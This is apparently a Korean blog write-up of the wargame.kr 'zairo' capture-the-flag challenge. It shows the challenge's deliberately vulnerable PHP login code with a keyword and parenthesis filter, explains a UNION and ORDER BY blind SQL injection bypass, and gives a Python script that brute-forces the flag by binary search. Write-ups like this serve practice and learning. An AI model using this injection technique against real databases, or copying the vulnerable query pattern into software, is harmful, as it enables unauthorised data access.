반응형

<?php
    error_reporting
(0);
    
    include(
"./config.php"); // hidden column name
    
include("../lib.php"); // auth_code function

    
mysql_connect("localhost","zairo","zairo_pz");
    
mysql_select_db("zairo");

    
/**********************************************************************************************************************/

    
function rand_string()
    {
        
$string "1234567890abcdefghijklmnopqrstuvwxyz";
        return 
str_shuffle($string);
    }

    function 
reset_flag($count_column$flag_column)
    {
        global 
$count;
        
$flag rand_string();
        
$query mysql_fetch_array(mysql_query("SELECT $count_column$flag_column FROM findflag_2"));
        
$count $query[$count_column];
        if(
$query[$count_column] == 150)
        {
            if(
mysql_query("UPDATE findflag_2 SET $flag_column='{$flag}';"))
            {
                
mysql_query("UPDATE findflag_2 SET $count_column=0;");
                echo 
"reset flag<hr>";
            }
            return 
$flag;
        }
        else
        {
            
mysql_query("UPDATE findflag_2 SET $count_column=($query[$count_column] + 1);");
        }
        return 
$query[$flag_column];
    }

    function 
get_pw($pw_column){
        
$query mysql_fetch_array(mysql_query("select $pw_column from findflag_2 limit 1"));
        return 
$query[$pw_column];
    }

    
/**********************************************************************************************************************/

    
$tmp_flag "";
    
$tmp_pw "";
    
$id $_GET['id'];
    
$pw $_GET['pw'];
    
$flags $_GET['flag'];
    
$count 0;
    if(isset(
$id))
    {
        if(
preg_match("/information|schema|user|where|=/i"$id) || substr_count($id,"(") > 0) exit("no hack");
        if(
preg_match("/information|schema|user|where|=/i"$pw) || substr_count($pw,"(") > 0) exit("no hack");
        
$tmp_flag reset_flag($count_column$flag_column);
        
$tmp_pw get_pw($pw_column);
        
$query mysql_fetch_array(mysql_query("SELECT * FROM findflag_2 WHERE $id_column='{$id}' and $pw_column='{$pw}';"));
        echo 
"<hr />NOW COUNT = {$count}<br />";
        if(
$query[$id_column])
        {
            if(isset(
$pw) && isset($flags) && $pw === $tmp_pw && $flags === $tmp_flag)
            {
                echo 
"good job!!<br />FLAG : <b>".auth_code("zairo")."</b><hr>";
            }
            else
            {
                echo 
"Hello ".$query[$id_column]."<hr>";
            }
        }
    }else {
        
highlight_file(__FILE__);
    }
?>


음.. 그렇다 adm1nkyj문제에서 가상테이블을 못만들도록 (를 필터링해준다.


여기서 어떻게 해야하는지 몰라서 질문글을 올렸는데 order by 와 이진탐색을 사용해서 blind sqli을 하라고 한다.


그래서 했다. ㄹㅇ 


order by는 컬럼에 대해서 정렬할 수 있도록 컬럼 인덱스(?)를 통해 가능하도록 한다.


예를 들면 order by 2 이런식이다. 이건 두번째 컬럼에 대해서 정렬하라는 말이다.


그러면 여기서 blind sqli를 어떻게 하냐는 건데 간단하다.


문자열 비교를 하면 되는 건데 order by로 정렬하면 내가 union으로 넣은 값이 먼저 작으면 먼저 나오게 되니까


zairo문제의 아이디가 나올 때의 문자열로 받아들이면 된다.


payload는 아래와 같이 짰다.



import urllib2 url = "http://wargame.kr:8080/zairo/?id=asdf&pw=%27%20or%20true%20union%20select%201,2,3,%27" query_parts = "%27,5%20order%20by%204%23" flag = "" avail = "0123456789abcdefghijklmnopqrstuvwxyz" for i in range(36): print i + 1, " Attempt" mid = len(avail) / 2 start = 0 end = len(avail) - 1 while start <= end and start >= 0 and end >= 0 and mid >= 0: req = urllib2.Request(url + flag + avail[mid] + query_parts) req.add_header("cookie", "[Cookie]") source = urllib2.urlopen(req).read() if source.find("reset flag") != -1: print flag i = 37 break if source.find("zairowkdlfhdkel") != -1: end = mid - 1 mid = (start + end) / 2 else: start = mid + 1 mid = (start + end) / 2 flag += avail[mid] avail = avail.replace(avail[mid], "") print avail print flag


'Write up > Wargame' 카테고리의 다른 글

[Wargame.kr] Admin 계정 탈취 인증샷  (0) 2016.10.02
[Wargame.kr] All Clear  (0) 2016.09.13
[Wargame.kr] adm1nkyj  (0) 2016.09.08
[Wargame.kr] strcmp (550p)  (0) 2016.04.29
[Wargame.kr] Easy_CrackMe (500p)  (0) 2016.04.29
블로그 이미지

KuroNeko_

KuroNeko

,